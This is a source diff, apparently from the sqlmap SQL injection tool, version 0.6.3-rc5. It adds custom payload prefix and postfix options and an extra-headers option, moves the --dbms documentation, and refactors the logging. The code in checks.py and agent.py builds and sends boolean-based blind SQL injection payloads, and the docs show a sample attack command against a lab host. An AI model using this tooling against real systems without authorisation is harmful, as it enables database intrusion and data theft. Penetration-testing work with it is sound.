Force the database management system name
-Option: --string
+Option: --dbms
+By default sqlmap automatically detects the web application's back-end
+database manangement system.
+At the moment the fully supported database management system are four:
+
+
+- MySQL
+
- Oracle
+
- PostgreSQL
+
- Microsoft SQL Server
+
+
+
+It is possible to force the name if you already know it so that sqlmap
+will skip the fingerprint with an exception for MySQL to only identify if
+it is MySQL < 5.0 or MySQL >= 5.0.
+To avoid also this check you can provide instead MySQL 4 or
+MySQL 5.
+
+Example on a PostgreSQL 8.2.7 target:
+
+
+$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
+ --dbms "PostgreSQL"
+
+[...]
+[hh:mm:31] [DEBUG] skipping to test for MySQL
+[hh:mm:31] [DEBUG] skipping to test for Oracle
+back-end DBMS: PostgreSQL
+
+
+
+In case you provide --fingerprint together with --dbms,
+sqlmap will only perform the extensive fingerprint for the specified
+database management system, read the following section for further
+details.
+
+
+Note that this option is not mandatory and it is strongly
+recommended to use it only if you are absolutely sure about the
+back-end database management system. If you do not know it, let sqlmap
+automatically identify it for you.
+
+
+Custom injection payload
+
+
+Options: --prefix and --postfix
+
+
+TODO
+
+
+Page comparison
+
+
+Options: --string and --regexp
+
+
+TODO
By default the distinction of a True query by a False one (basic concept
for standard blind SQL injection attacks) is done comparing injected pages
content MD5 hash with the original not-injected page content MD5. Not
@@ -1354,55 +1420,6 @@ content that changes itself at each refresh without modifying the user's
input.
-Force the database management system name
-
-
-Option: --dbms
-
-
-By default sqlmap automatically detects the web application's back-end
-database manangement system.
-At the moment the fully supported database management system are four:
-
-
-- MySQL
-
- Oracle
-
- PostgreSQL
-
- Microsoft SQL Server
-
-
-
-It is possible to force the name if you already know it so that sqlmap
-will skip the fingerprint with an exception for MySQL to only identify if
-it is MySQL < 5.0 or MySQL >= 5.0.
-To avoid also this check you can provide instead MySQL 4 or
-MySQL 5.
-
-Example on a PostgreSQL 8.2.7 target:
-
-
-$ python sqlmap.py -u "http://192.168.1.121/sqlmap/pgsql/get_int.php?id=1&cat=2" -v 2 \
- --dbms "PostgreSQL"
-
-[...]
-[hh:mm:31] [DEBUG] skipping to test for MySQL
-[hh:mm:31] [DEBUG] skipping to test for Oracle
-back-end DBMS: PostgreSQL
-
-
-
-In case you provide --fingerprint together with --dbms,
-sqlmap will only perform the extensive fingerprint for the specified
-database management system, read the following section for further
-details.
-
-
-Note that this option is not mandatory and it is strongly
-recommended to use it only if you are absolutely sure about the
-back-end database management system. If you do not know it, let sqlmap
-automatically identify it for you.
-
-
Techniques
Test for Time Based blind SQL injection
diff --git a/doc/THANKS b/doc/THANKS
index 9388c9202..3f22f9c27 100644
--- a/doc/THANKS
+++ b/doc/THANKS
@@ -108,6 +108,9 @@ Richard Safran
Tomoyuki Sakurai
for submitting to the FreeBSD project the sqlmap 0.5 port
+Philippe A. R. Schaeffer
+ for reporting a minor bug
+
Sven Schluter
for providing with a patch for waiting a number of seconds between
each HTTP request
diff --git a/lib/controller/checks.py b/lib/controller/checks.py
index db0a64fbb..123f9bbc8 100644
--- a/lib/controller/checks.py
+++ b/lib/controller/checks.py
@@ -49,13 +49,49 @@ def checkSqlInjection(place, parameter, value, parenthesis):
* Double quoted string injection
"""
- logMsg = "testing unescaped numeric injection "
- logMsg += "on %s parameter '%s'" % (place, parameter)
- logger.info(logMsg)
-
randInt = randomInt()
randStr = randomStr()
+ if conf.prefix or conf.postfix:
+ prefix = ""
+ postfix = ""
+
+ if conf.prefix:
+ prefix = conf.prefix
+
+ if conf.postfix:
+ postfix = conf.postfix
+
+ infoMsg = "testing custom injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
+
+ payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
+ trueResult = Request.queryPage(payload, place)
+
+ if trueResult == kb.defaultResult:
+ payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ infoMsg = "confirming custom injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
+
+ payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
+ falseResult = Request.queryPage(payload, place)
+
+ if falseResult != kb.defaultResult:
+ infoMsg = "%s parameter '%s' is " % (place, parameter)
+ infoMsg += "custom injectable "
+ logger.info(infoMsg)
+
+ return "custom"
+
+ infoMsg = "testing unescaped numeric injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
+
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place)
@@ -64,28 +100,28 @@ def checkSqlInjection(place, parameter, value, parenthesis):
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
- logMsg = "confirming unescaped numeric injection "
- logMsg += "on %s parameter '%s'" % (place, parameter)
- logger.info(logMsg)
+ infoMsg = "confirming unescaped numeric injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
- logMsg = "%s parameter '%s' is " % (place, parameter)
- logMsg += "unescaped numeric injectable "
- logMsg += "with %d parenthesis" % parenthesis
- logger.info(logMsg)
+ infoMsg = "%s parameter '%s' is " % (place, parameter)
+ infoMsg += "unescaped numeric injectable "
+ infoMsg += "with %d parenthesis" % parenthesis
+ logger.info(infoMsg)
return "numeric"
- logMsg = "%s parameter '%s' is not " % (place, parameter)
- logMsg += "unescaped numeric injectable"
- logger.info(logMsg)
+ infoMsg = "%s parameter '%s' is not " % (place, parameter)
+ infoMsg += "unescaped numeric injectable"
+ logger.info(infoMsg)
- logMsg = "testing single quoted string injection "
- logMsg += "on %s parameter '%s'" % (place, parameter)
- logger.info(logMsg)
+ infoMsg = "testing single quoted string injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
@@ -95,28 +131,28 @@ def checkSqlInjection(place, parameter, value, parenthesis):
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
- logMsg = "confirming single quoted string injection "
- logMsg += "on %s parameter '%s'" % (place, parameter)
- logger.info(logMsg)
+ infoMsg = "confirming single quoted string injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
- logMsg = "%s parameter '%s' is " % (place, parameter)
- logMsg += "single quoted string injectable "
- logMsg += "with %d parenthesis" % parenthesis
- logger.info(logMsg)
+ infoMsg = "%s parameter '%s' is " % (place, parameter)
+ infoMsg += "single quoted string injectable "
+ infoMsg += "with %d parenthesis" % parenthesis
+ logger.info(infoMsg)
return "stringsingle"
- logMsg = "%s parameter '%s' is not " % (place, parameter)
- logMsg += "single quoted string injectable"
- logger.info(logMsg)
+ infoMsg = "%s parameter '%s' is not " % (place, parameter)
+ infoMsg += "single quoted string injectable"
+ logger.info(infoMsg)
- logMsg = "testing LIKE single quoted string injection "
- logMsg += "on %s parameter '%s'" % (place, parameter)
- logger.info(logMsg)
+ infoMsg = "testing LIKE single quoted string injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
@@ -126,28 +162,28 @@ def checkSqlInjection(place, parameter, value, parenthesis):
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
- logMsg = "confirming LIKE single quoted string injection "
- logMsg += "on %s parameter '%s'" % (place, parameter)
- logger.info(logMsg)
+ infoMsg = "confirming LIKE single quoted string injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
- logMsg = "%s parameter '%s' is " % (place, parameter)
- logMsg += "LIKE single quoted string injectable "
- logMsg += "with %d parenthesis" % parenthesis
- logger.info(logMsg)
+ infoMsg = "%s parameter '%s' is " % (place, parameter)
+ infoMsg += "LIKE single quoted string injectable "
+ infoMsg += "with %d parenthesis" % parenthesis
+ logger.info(infoMsg)
return "likesingle"
- logMsg = "%s parameter '%s' is not " % (place, parameter)
- logMsg += "LIKE single quoted string injectable"
- logger.info(logMsg)
+ infoMsg = "%s parameter '%s' is not " % (place, parameter)
+ infoMsg += "LIKE single quoted string injectable"
+ logger.info(infoMsg)
- logMsg = "testing double quoted string injection "
- logMsg += "on %s parameter '%s'" % (place, parameter)
- logger.info(logMsg)
+ infoMsg = "testing double quoted string injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
@@ -157,28 +193,28 @@ def checkSqlInjection(place, parameter, value, parenthesis):
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
- logMsg = "confirming double quoted string injection "
- logMsg += "on %s parameter '%s'" % (place, parameter)
- logger.info(logMsg)
+ infoMsg = "confirming double quoted string injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
- logMsg = "%s parameter '%s' is " % (place, parameter)
- logMsg += "double quoted string injectable "
- logMsg += "with %d parenthesis" % parenthesis
- logger.info(logMsg)
+ infoMsg = "%s parameter '%s' is " % (place, parameter)
+ infoMsg += "double quoted string injectable "
+ infoMsg += "with %d parenthesis" % parenthesis
+ logger.info(infoMsg)
return "stringdouble"
- logMsg = "%s parameter '%s' is not " % (place, parameter)
- logMsg += "double quoted string injectable"
- logger.info(logMsg)
+ infoMsg = "%s parameter '%s' is not " % (place, parameter)
+ infoMsg += "double quoted string injectable"
+ logger.info(infoMsg)
- logMsg = "testing LIKE double quoted string injection "
- logMsg += "on %s parameter '%s'" % (place, parameter)
- logger.info(logMsg)
+ infoMsg = "testing LIKE double quoted string injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
@@ -188,24 +224,24 @@ def checkSqlInjection(place, parameter, value, parenthesis):
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
- logMsg = "confirming LIKE double quoted string injection "
- logMsg += "on %s parameter '%s'" % (place, parameter)
- logger.info(logMsg)
+ infoMsg = "confirming LIKE double quoted string injection "
+ infoMsg += "on %s parameter '%s'" % (place, parameter)
+ logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != kb.defaultResult:
- logMsg = "%s parameter '%s' is " % (place, parameter)
- logMsg += "LIKE double quoted string injectable "
- logMsg += "with %d parenthesis" % parenthesis
- logger.info(logMsg)
+ infoMsg = "%s parameter '%s' is " % (place, parameter)
+ infoMsg += "LIKE double quoted string injectable "
+ infoMsg += "with %d parenthesis" % parenthesis
+ logger.info(infoMsg)
return "likedouble"
- logMsg = "%s parameter '%s' is not " % (place, parameter)
- logMsg += "LIKE double quoted string injectable"
- logger.info(logMsg)
+ infoMsg = "%s parameter '%s' is not " % (place, parameter)
+ infoMsg += "LIKE double quoted string injectable"
+ logger.info(infoMsg)
return None
@@ -217,8 +253,8 @@ def checkDynParam(place, parameter, value):
dynamicity might depend on another parameter.
"""
- logMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
- logger.info(logMsg)
+ infoMsg = "testing if %s parameter '%s' is dynamic" % (place, parameter)
+ logger.info(infoMsg)
randInt = randomInt()
payload = agent.payload(place, parameter, value, str(randInt))
@@ -227,8 +263,8 @@ def checkDynParam(place, parameter, value):
if kb.defaultResult == dynResult1:
return False
- logMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
- logger.info(logMsg)
+ infoMsg = "confirming that %s parameter '%s' is dynamic" % (place, parameter)
+ logger.info(infoMsg)
payload = agent.payload(place, parameter, value, "'%s" % randomStr())
dynResult2 = Request.queryPage(payload, place)
@@ -253,8 +289,8 @@ def checkStability():
like for instance string matching (--string).
"""
- logMsg = "testing if the url is stable, wait a few seconds"
- logger.info(logMsg)
+ infoMsg = "testing if the url is stable, wait a few seconds"
+ logger.info(infoMsg)
firstResult = Request.queryPage()
time.sleep(0.5)
@@ -283,9 +319,9 @@ def checkString():
if condition:
return True
- logMsg = "testing if the provided string is within the "
- logMsg += "target URL page content"
- logger.info(logMsg)
+ infoMsg = "testing if the provided string is within the "
+ infoMsg += "target URL page content"
+ logger.info(infoMsg)
page = Request.queryPage(content=True)
@@ -302,8 +338,8 @@ def checkString():
def checkConnection():
- logMsg = "testing connection to the target url"
- logger.info(logMsg)
+ infoMsg = "testing connection to the target url"
+ logger.info(infoMsg)
try:
kb.defaultResult = Request.queryPage()
diff --git a/lib/controller/controller.py b/lib/controller/controller.py
index 6a3751e0b..201fd4260 100644
--- a/lib/controller/controller.py
+++ b/lib/controller/controller.py
@@ -214,6 +214,7 @@ def start():
if injType:
injData.append((place, parameter, injType))
+ kb.parenthesis = parenthesis
break
else:
diff --git a/lib/core/agent.py b/lib/core/agent.py
index 40cb23aaa..34148ea72 100644
--- a/lib/core/agent.py
+++ b/lib/core/agent.py
@@ -91,17 +91,20 @@ class Agent:
query = ""
- if kb.injType == "numeric":
- pass
- elif kb.injType in ( "stringsingle", "likesingle" ):
- query = "'"
- elif kb.injType in ( "stringdouble", "likedouble" ):
- query = "\""
+ if conf.prefix:
+ query = conf.prefix
else:
- raise sqlmapNoneDataException, "unsupported injection type"
+ if kb.injType == "numeric":
+ pass
+ elif kb.injType in ( "stringsingle", "likesingle" ):
+ query = "'"
+ elif kb.injType in ( "stringdouble", "likedouble" ):
+ query = "\""
+ else:
+ raise sqlmapNoneDataException, "unsupported injection type"
- if kb.parenthesis not in ( None, 0 ):
- query += "%s " % (")" * kb.parenthesis)
+ if kb.parenthesis not in ( None, 0 ):
+ query += "%s " % (")" * kb.parenthesis)
query += string
@@ -118,25 +121,28 @@ class Agent:
randStr = randomStr()
if comment:
- string += "%s" % comment
+ string += comment
- if kb.parenthesis != None:
- string += " AND %s" % ("(" * kb.parenthesis)
+ if conf.postfix:
+ string += " %s" % conf.postfix
else:
- raise sqlmapNoneDataException, "unable to get the number of parenthesis"
+ if kb.parenthesis != None:
+ string += " AND %s" % ("(" * kb.parenthesis)
+ else:
+ raise sqlmapNoneDataException, "unable to get the number of parenthesis"
- if kb.injType == "numeric":
- string += "%d=%d" % (randInt, randInt)
- elif kb.injType == "stringsingle":
- string += "'%s'='%s" % (randStr, randStr)
- elif kb.injType == "likesingle":
- string += "'%s' LIKE '%s" % (randStr, randStr)
- elif kb.injType == "stringdouble":
- string += "\"%s\"=\"%s" % (randStr, randStr)
- elif kb.injType == "likedouble":
- string += "\"%s\" LIKE \"%s" % (randStr, randStr)
- else:
- raise sqlmapNoneDataException, "unsupported injection type"
+ if kb.injType == "numeric":
+ string += "%d=%d" % (randInt, randInt)
+ elif kb.injType == "stringsingle":
+ string += "'%s'='%s" % (randStr, randStr)
+ elif kb.injType == "likesingle":
+ string += "'%s' LIKE '%s" % (randStr, randStr)
+ elif kb.injType == "stringdouble":
+ string += "\"%s\"=\"%s" % (randStr, randStr)
+ elif kb.injType == "likedouble":
+ string += "\"%s\" LIKE \"%s" % (randStr, randStr)
+ else:
+ raise sqlmapNoneDataException, "unsupported injection type"
return string
diff --git a/lib/core/option.py b/lib/core/option.py
index 1bc367148..4b7160cef 100644
--- a/lib/core/option.py
+++ b/lib/core/option.py
@@ -94,6 +94,9 @@ def __feedTargetsDict(reqFile, addedTargetUrls):
if not re.search ("^[\n]*(GET|POST).*?\sHTTP\/", request, re.I):
continue
+ if re.search("^[\n]*(GET|POST).*?\.(gif|jpg|png)\sHTTP\/", request, re.I):
+ continue
+
getPostReq = False
url = None
host = None
@@ -235,9 +238,9 @@ def __setGoogleDorking():
raise sqlmapGenericException, errMsg
-def __setRemoteDBMS():
+def __setDBMS():
"""
- Checks and set the back-end DBMS option.
+ Force the back-end DBMS option.
"""
if not conf.dbms:
@@ -384,11 +387,23 @@ def __setHTTPMethod():
logger.debug(debugMsg)
-def __setHTTPStandardHeaders():
- conf.httpHeaders.append(("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"))
- conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
- conf.httpHeaders.append(("Accept-Encoding", "gzip,deflate"))
- conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
+def __setHTTPExtraHeaders():
+ if conf.headers:
+ debugMsg = "setting extra HTTP headers"
+ logger.debug(debugMsg)
+
+ conf.headers = conf.headers.split("\n")
+
+ for headerValue in conf.headers:
+ header, value = headerValue.split(": ")
+
+ if header and value:
+ conf.httpHeaders.append((header, value))
+
+ else:
+ conf.httpHeaders.append(("Accept", "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"))
+ conf.httpHeaders.append(("Accept-Language", "en-us,en;q=0.5"))
+ conf.httpHeaders.append(("Accept-Charset", "ISO-8859-15,utf-8;q=0.7,*;q=0.7"))
def __defaultHTTPUserAgent():
@@ -646,6 +661,9 @@ def __saveCmdline():
elif datatype == "string":
value = ""
+ if isinstance(value, str):
+ value = value.replace("\n", "\n ")
+
confFP.write("%s = %s\n" % (option, value))
confFP.write("\n")
@@ -712,12 +730,12 @@ def init(inputOptions=advancedDict()):
__setHTTPCookies()
__setHTTPReferer()
__setHTTPUserAgent()
- __setHTTPStandardHeaders()
+ __setHTTPExtraHeaders()
__setHTTPMethod()
__setHTTPAuthentication()
__setHTTPProxy()
__setThreads()
- __setRemoteDBMS()
+ __setDBMS()
__setGoogleDorking()
__setMultipleTargets()
__urllib2Opener()
diff --git a/lib/core/optiondict.py b/lib/core/optiondict.py
index 07dc6d165..caae58f28 100644
--- a/lib/core/optiondict.py
+++ b/lib/core/optiondict.py
@@ -39,6 +39,7 @@ optDict = {
"referer": "string",
"agent": "string",
"userAgentsFile": "string",
+ "headers": "string",
"aType": "string",
"aCred": "string",
"proxy": "string",
@@ -50,6 +51,8 @@ optDict = {
"Injection": {
"testParameter": "string",
"dbms": "string",
+ "prefix": "string",
+ "postfix": "string",
"string": "string",
"regexp": "string",
"eString": "string",
diff --git a/lib/core/settings.py b/lib/core/settings.py
index d0f79902d..3b56ec9a9 100644
--- a/lib/core/settings.py
+++ b/lib/core/settings.py
@@ -30,7 +30,7 @@ import sys
# sqlmap version and site
-VERSION = "0.6.3-rc4"
+VERSION = "0.6.3-rc5"
VERSION_STRING = "sqlmap/%s" % VERSION
SITE = "http://sqlmap.sourceforge.net"
diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py
index cdeb7e213..dc5d5dc04 100644
--- a/lib/parse/cmdline.py
+++ b/lib/parse/cmdline.py
@@ -57,6 +57,7 @@ def cmdLineParser():
target.add_option("-c", dest="configFile",
help="Load options from a configuration INI file")
+
# Request options
request = OptionGroup(parser, "Request", "These options can be used "
"to specify how to connect to the target url.")
@@ -80,6 +81,9 @@ def cmdLineParser():
help="Load a random HTTP User-Agent "
"header from file")
+ request.add_option("--headers", dest="headers",
+ help="Extra HTTP headers '\\n' separated")
+
request.add_option("--auth-type", dest="aType",
help="HTTP Authentication type, value: "
"Basic or Digest")
@@ -112,6 +116,12 @@ def cmdLineParser():
injection.add_option("--dbms", dest="dbms",
help="Force back-end DBMS to this value")
+ injection.add_option("--prefix", dest="prefix",
+ help="Injection payload prefix string")
+
+ injection.add_option("--postfix", dest="postfix",
+ help="Injection payload postfix string")
+
injection.add_option("--string", dest="string",
help="String to match in page when the "
"query is valid")
@@ -128,6 +138,7 @@ def cmdLineParser():
help="Regexp matches to be excluded before "
"calculating page hash")
+
# Techniques options
techniques = OptionGroup(parser, "Techniques", "These options can "
"be used to test for specific SQL injection "
@@ -149,6 +160,7 @@ def cmdLineParser():
"to retrieve the queries output. No "
"need to go blind")
+
# Fingerprint options
fingerprint = OptionGroup(parser, "Fingerprint")
@@ -156,6 +168,7 @@ def cmdLineParser():
action="store_true",
help="Perform an extensive DBMS version fingerprint")
+
# Enumeration options
enumeration = OptionGroup(parser, "Enumeration", "These options can "
"be used to enumerate the back-end database "
@@ -232,6 +245,7 @@ def cmdLineParser():
action="store_true",
help="Prompt for an interactive SQL shell")
+
# File system options
filesystem = OptionGroup(parser, "File system access", "These options "
"can be used to access the back-end database "
@@ -245,6 +259,7 @@ def cmdLineParser():
filesystem.add_option("--write-file", dest="wFile",
help="Write to a specific OS file (not yet available)")
+
# Takeover options
takeover = OptionGroup(parser, "Operating system access", "This "
"option can be used to access the back-end "
@@ -258,6 +273,7 @@ def cmdLineParser():
"writable directory within the web "
"server document root for the moment)")
+
# Miscellaneous options
miscellaneous = OptionGroup(parser, "Miscellaneous")
@@ -282,6 +298,7 @@ def cmdLineParser():
miscellaneous.add_option("--batch", dest="batch", action="store_true",
help="Never ask for user input, use the default behaviour")
+
parser.add_option_group(target)
parser.add_option_group(request)
parser.add_option_group(injection)
diff --git a/lib/request/comparison.py b/lib/request/comparison.py
index 3fc021a43..ae11f8b2f 100644
--- a/lib/request/comparison.py
+++ b/lib/request/comparison.py
@@ -28,13 +28,12 @@ import md5
import re
from lib.core.data import conf
-from lib.core.data import kb
-from lib.core.data import logger
def comparison(page, headers=None, content=False):
regExpResults = None
+ # String to be excluded before calculating page hash
if conf.eString and conf.eString in page:
index = page.index(conf.eString)
length = len(conf.eString)
@@ -42,28 +41,32 @@ def comparison(page, headers=None, content=False):
pageWithoutString += page[index+length:]
page = pageWithoutString
+ # Regular expression matches to be excluded before calculating page hash
if conf.eRegexp:
regExpResults = re.findall(conf.eRegexp, page, re.I | re.M)
- if conf.eRegexp and regExpResults:
- for regExpResult in regExpResults:
- index = page.index(regExpResult)
- length = len(regExpResult)
- pageWithoutRegExp = page[:index]
- pageWithoutRegExp += page[index+length:]
- page = pageWithoutRegExp
+ if regExpResults:
+ for regExpResult in regExpResults:
+ index = page.index(regExpResult)
+ length = len(regExpResult)
+ pageWithoutRegExp = page[:index]
+ pageWithoutRegExp += page[index+length:]
+ page = pageWithoutRegExp
+ # String to match in page when the query is valid
if conf.string:
if conf.string in page:
return True
else:
return False
- elif conf.regexp:
+ # Regular expression to match in page when the query is valid
+ if conf.regexp:
if re.search(conf.regexp, page, re.I | re.M):
return True
else:
return False
+ # By default it returns the page content MD5 hash
else:
return md5.new(page).hexdigest()
diff --git a/lib/utils/parenthesis.py b/lib/utils/parenthesis.py
index 4c2aeb192..0d9625014 100644
--- a/lib/utils/parenthesis.py
+++ b/lib/utils/parenthesis.py
@@ -27,6 +27,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from lib.core.agent import agent
from lib.core.common import randomInt
from lib.core.common import randomStr
+from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapNoneDataException
@@ -40,14 +41,14 @@ def checkForParenthesis():
is within the parenthesis.
"""
- if kb.parenthesis != None:
- return kb.parenthesis
-
logMsg = "testing for parenthesis on injectable parameter"
logger.info(logMsg)
count = 0
+ if conf.prefix or conf.postfix:
+ return
+
for parenthesis in range(1, 4):
query = agent.prefixQuery("%s " % (")" * parenthesis))
query += "AND %s" % ("(" * parenthesis)
diff --git a/sqlmap.conf b/sqlmap.conf
index 99925af62..69cefad24 100644
--- a/sqlmap.conf
+++ b/sqlmap.conf
@@ -3,8 +3,8 @@
# Target URL.
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
# PHP and MySQL (local)
-#url = http://127.0.0.1/sqlmap/mysql/get_int.php?id=1
-url = http://127.0.0.1/sqlmap/mysql/get_int_partialunion.php?id=1
+url = http://127.0.0.1/sqlmap/mysql/get_str.php?id=1
+#url = http://127.0.0.1/sqlmap/mysql/get_int_partialunion.php?id=1
# PHP and Oracle (local)
#url = http://127.0.0.1/sqlmap/oracle/get_int.php?id=1
# PHP and PostgreSQL (local)
@@ -62,6 +62,12 @@ agent =
# Example: ./txt/user-agents.txt
userAgentsFile =
+# Extra HTTP headers
+# Note: there must be a space at the beginning of each header line
+headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
+ Accept-Language: en-us,en;q=0.5
+ Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
+
# HTTP Authentication type. Useful only if the target url requires
# HTTP Basic or Digest authentication and you have such data.
# Valid: Basic or Digest
@@ -105,6 +111,12 @@ testParameter =
# Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql
dbms =
+# Injection payload prefix string
+prefix =
+
+# Injection payload postfix string
+postfix =
+
# String to match within the page content when the query is valid, only
# needed if the page content dynamically changes at each refresh,
# consequently changing the MD5 hash of the page which is the method used